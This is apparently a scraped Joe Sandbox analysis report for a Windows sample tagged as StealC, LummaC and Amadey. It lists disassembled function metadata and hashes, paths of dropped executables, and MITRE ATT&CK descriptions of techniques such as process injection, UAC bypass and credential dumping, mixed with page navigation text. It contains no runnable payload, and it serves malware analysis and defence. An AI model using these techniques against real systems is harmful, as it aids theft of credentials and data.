Instruction ID: adbb92566366010e7fd249293084f7f6ae505ee36373407e12dc1b157fd1f7f4
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 48E08C32921228EBCB15EB98C9049CAF7ECEB49B11B650096F501D3150C274DE00D7D0

Function 00F84840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00F84877
___except_validate_context_record.LIBVCRUNTIME ref: 00F8487F
_ValidateLocalCookies.LIBCMT ref: 00F84908
__IsNonwritableInCurrentImage.LIBCMT ref: 00F84933
_ValidateLocalCookies.LIBCMT ref: 00F84988

Strings

csm, xrefs: 00F8491D

Memory Dump Source

Source File: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000010.00000002.2525112700.0000000000F50000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2525480589.0000000000FB2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526703281.0000000000FB9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000000FBB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001218000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001245000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000124D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000125C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2530996645.000000000125D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532487050.00000000013F6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532756100.00000000013F8000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f50000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 65240701926dd2d27fed4b5da8dfdb4648acbd0593a4a74deff6845da2c91144
Instruction ID: 68997198cd935f278b75b91037e1546b5749ed3832fe76e129b777860f9e49af
Opcode Fuzzy Hash: 65240701926dd2d27fed4b5da8dfdb4648acbd0593a4a74deff6845da2c91144
Instruction Fuzzy Hash: E451F634E0020A9BCF20EF68DC81AEF7BB5AF45324F148155E9189B352D736EE15EB91

Function 00F52EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00F52F5F
__Mtx_unlock.LIBCPMT ref: 00F52FCC
__Cnd_broadcast.LIBCPMT ref: 00F52FE3
__Mtx_unlock.LIBCPMT ref: 00F530F5
__Mtx_unlock.LIBCPMT ref: 00F5319B

Memory Dump Source

Source File: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000010.00000002.2525112700.0000000000F50000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2525480589.0000000000FB2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526703281.0000000000FB9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000000FBB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001218000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001245000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000124D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000125C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2530996645.000000000125D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532487050.00000000013F6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532756100.00000000013F8000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f50000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 6f1cb2fc722c54e7fb4f667844e3c0a2fc80e23c9cb5b4e0fbf0ea105ef27aa5
Instruction ID: 234b759e7dddd9992f71f5809aa6635498c53cde2f386f3db76a5789778dcf6e
Opcode Fuzzy Hash: 6f1cb2fc722c54e7fb4f667844e3c0a2fc80e23c9cb5b4e0fbf0ea105ef27aa5
Instruction Fuzzy Hash: 9AA1FFB1E006159FDB10DB78CC4476AB7A8FF15365F008229ED56D7281EB35EA08EBD1

Function 00F8CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00F8CC66

Memory Dump Source

Source File: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000010.00000002.2525112700.0000000000F50000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2525480589.0000000000FB2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526703281.0000000000FB9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000000FBB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001218000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001245000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000124D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000125C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2530996645.000000000125D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532487050.00000000013F6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532756100.00000000013F8000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f50000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 4d1f6315f840bcd568f5fc09e97e638010d3d7e761c56defce9cee14a0265bc2
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 9EB13832D046859FDB15EF28C8817EEBBE5EF46350F14416AE855EB242D6389D02DBF0

Function 00F6BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00F6BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00F6BBE4
_xtime_get.LIBCPMT ref: 00F6BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00F6BC13

Memory Dump Source

Source File: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000010.00000002.2525112700.0000000000F50000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2525480589.0000000000FB2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526703281.0000000000FB9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000000FBB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001218000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001245000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000124D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000125C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2530996645.000000000125D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532487050.00000000013F6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532756100.00000000013F8000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f50000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: e18a4bfdd75c4796fd2ea8e2a28199e042c1c9f4632ed287501953c015bd71c9
Instruction ID: 172c05b1746a33a15305d014546cb72364079b41b48b77be6f1e7443210f76ed
Opcode Fuzzy Hash: e18a4bfdd75c4796fd2ea8e2a28199e042c1c9f4632ed287501953c015bd71c9
Instruction Fuzzy Hash: 0B214C71E00209AFDF00EFA4DC959BEB7B9EF08710F100025F945A7261DB359D41ABA0

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe

C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe

C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe

Windows Analysis Report
file.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre